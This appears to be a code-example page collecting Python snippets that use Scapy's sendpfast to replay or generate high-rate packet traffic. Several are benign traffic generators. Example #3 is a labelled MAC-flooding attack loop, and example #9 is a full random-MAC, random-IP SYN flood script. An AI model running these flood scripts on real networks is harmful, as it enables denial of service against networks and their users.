コード例 #1
0
    def flooder(self, n, filename):

        print('Reading pcap file.')
        pkgs = rdpcap(filename)

        for i in range(n):
            print('Sending %s packets.' % (len(pkgs)))
            sendpfast(pkgs)
            print('Done, part %s of %s' % ((i + 1), n))
コード例 #2
0
 def _continuous_sport_range_traffic(self):
     self.pkts = self.creater.pkts
     while not self.stopit.is_set():
         sendpfast(self.pkts, pps=self.profile.pps)
         self.count += len(self.pkts)
         self.update_result("Sent=%s\nReceived=%s" %
                            (self.count, self.recv_count))
         if self.stopit.is_set():
             break
     self.stopped.set()
コード例 #3
0
def mac_flooding(file, interface):
    #TODO: LAUNCH THIS IN AN INDEPENDENT PROCESS TO ALLOW PARENT TO BE KILLED. Check "nohup" command

    #Read PCAP file. Can raise exception if file is not valid
    pkts = rdpcap(file)

    #Launch attack
    six.print_("[*] MAC Flooding attack STARTED")
    six.print_("[*] To stop the attack: ")
    six.print_("    If launched with '&' execute: 'sudo netpyntest.py mac_flooding stop'")
    six.print_("    If launched without '&' press Ctrl+C")

    while True:
        sendpfast(pkts, verbose=False, iface=interface)
コード例 #4
0
def main():

    if len(sys.argv) < 3:
        print 'pass 2 arguments: <destination> <pps> <loop>'
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = get_if()

    print "sending on interface %s to %s" % (iface, str(addr))
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
    payload = "1" * 1446
    pkt = pkt / IP(dst=addr) / TCP(
        dport=1234, sport=random.randint(49152, 65535)) / payload
    sendpfast(pkt, pps=int(sys.argv[2]), loop=int(sys.argv[3]))
    pkt.show2()
コード例 #5
0
def send(pkts, iface=None, loop=True, speed=DEFAULT_SPEED, wait=None):
    if wait is not None:
        if speed is not None:
            raise ValueError(
                'Refresh speed and waiting time are mutually exclusive.')
        msg = "* Sending one packet every {0} milliseconds, press Ctrl+C to terminate."
        print(msg.format(wait))
        sendp(pkts,
              inter=float(wait) / 1000,
              iface=iface,
              loop=loop,
              verbose=False)
    elif loop is True:
        msg = "* Sending {0} packets per second, press Ctrl+C to terminate."
        print(msg.format(speed))
        # TODO: `tcpreplay` has no infinite loop feature and Scapy does not
        # report `tcpreplay` exit code or reason :( .
        # This value however should last several years for one second cycles.
        sendpfast(pkts, iface=iface, pps=speed, loop=999999999)
    else:
        msg = "* Sending {0} packets per second, looping {1} times."
        print(msg.format(speed, loop))
        sendpfast(pkts, iface=iface, pps=speed, loop=loop)
コード例 #6
0
ファイル: send.py プロジェクト: SNL-UCSB/cs176b-assignments
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("ip",
                        metavar="IP",
                        type=str,
                        help="IP addr of the receiver")
    parser.add_argument("time",
                        metavar="Time",
                        type=int,
                        help="Time (in seconds) to send the traffic")
    parser.add_argument(
        "--bw",
        metavar="Bandwidth",
        default=0.02,
        type=float,
        help="Bandwidth (in Mbps) of the traffic (default=20Kbps)")
    args = parser.parse_args()

    iface = "eth0"
    load = ''.join('f' for _ in range(1000))
    # Each packet has ~8Kb load
    pkt = Ether(src=get_if_hwaddr(iface), dst="ff:ff:ff:ff:ff:ff") / IP(
        dst=args.ip) / UDP(dport=4321, sport=1234) / load
    pkt.show2()

    num_packets = args.bw * 1000 * args.time / 8
    num_packets = int(1.1 * num_packets)

    summary = sendpfast(pkt,
                        iface=iface,
                        mbps=args.bw,
                        loop=num_packets,
                        file_cache=True,
                        parse_results=True)
    del summary['warnings']
    print("Summary:")
    pprint.pprint(summary)
    return
コード例 #7
0
 def send_pkts(self):
     """Sends packets as per the provided parameters."""
     pkts = self.__create_packets()
     sendpfast(pkts, pps=self.pps, iface=self.iface)
コード例 #8
0
ファイル: sendmanypkt3.py プロジェクト: USC-NSL/SCREAM
  t=time();
  while(True):
    timestamp+=1;
    toSend=readFile(f,timestamp)
    if (len(toSend)==0):
      break;
    i=0;
    print('read '+str(time()-t));
    t=time();
    for ip,size in toSend:
      size=int(size/10);
      #if (matchFilters(ip,srcFiltersZip)):
      #totalSize+=size;
      #i+=1;
      sendPerSecondc(timestamp+timestampShift,convertIP(ip),size,mac,tempPackets);    
#    tempPackets.sort(key=attrgetter('time'))
    print('packetize '+str(time()-t));
    t=time();
    sendpfast(tempPackets,iface='eth0')
    print('send '+str(time()-t));
    t=time();
#    packets.extend(tempPackets);
    del tempPackets[:];
#    if (totalSize>sizePerFile):
#      wrpcap(outputFile+'_'+str(fileNum),packets);
#      totalSize=0;
#      fileNum+=1;
#      del packets[:];
#  if (len(packets)>0):	
#    wrpcap(outputFile+'_'+str(fileNum),packets);
コード例 #9
0
nbpkts = 8192
iface = "eth0"

import sys
from scapy.all import sendpfast, Ether, IP, RandIP, RandMAC, TCP

print("Initializing...")

pkts = []
for i in xrange(0, nbpkts):
    macaddr = str(RandMAC())
    pkts.append(
        Ether(src=macaddr, dst="ff:ff:ff:ff:ff:ff") /
        IP(src=str(RandIP()), dst=str(RandIP())) /
        TCP(dport=80, flags="S", options=[('Timestamp', (0, 0))]))

print("Launching attack, press Ctrl+C to stop...")

# ...and then we send them in loop.
while True:
    sendpfast(pkts, iface=iface, file_cache=True, pps=5000, loop=999)
コード例 #10
-4
 def _continuous_sport_range_traffic(self):
     self.pkts = self.creater.pkts
     while not self.stopit.is_set():
         sendpfast(self.pkts, pps=self.profile.pps)
         self.count += len(self.pkts)
         self.update_result("Sent=%s\nReceived=%s" %
                            (self.count, self.recv_count))
         if self.stopit.is_set():
             break
     self.stopped.set()